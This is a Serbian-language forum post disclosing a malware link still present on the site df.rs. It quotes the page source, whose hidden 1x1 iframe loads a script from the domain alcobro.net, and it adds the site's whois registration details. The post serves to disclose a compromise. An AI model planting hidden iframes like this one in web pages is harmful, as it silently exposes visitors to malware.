Zaboravljeni malware link na df.rs
#1

Detektovano još u Martu, server je Loopia: https://twitter.com/ivanmarkovicsec/stat...6026613761. Ako ovo nisu videli ko zna šta još ima tamo.

Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Sajt u izradi</title> </head> <frameset rows="*">   <frame src="http://www.loopia.co.yu/under_construction/" /> </frameset> </html> <iframe heigth="1" width="1" frameborder="0" src="http://alcobro.net/t.php?id=3661989"></iframe>

Domen alcobro.net se spominje na više mesta ali npr. i ovde: https://github.com/stamparm/maltrail/blo...istory.txt.

Whois:


Quote:Registrant: Df Doo
Address: Slobodna Zona Beograd, Beograd, Srbija
Registration number: 17588931
Tax ID (PIB): 103607506
Administrative contact: Df Doo
Address: Slobodna Zona Beograd, Beograd, Srbija
Technical contact: Loopia D.O.O.
Address: Obrenovićeva bb, TPC KALČA C1/72, Niš, Srbija
Registration number: 17503626

“If you think you are too small to make a difference, try sleeping with a mosquito.” - Dalai Lama XIV
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)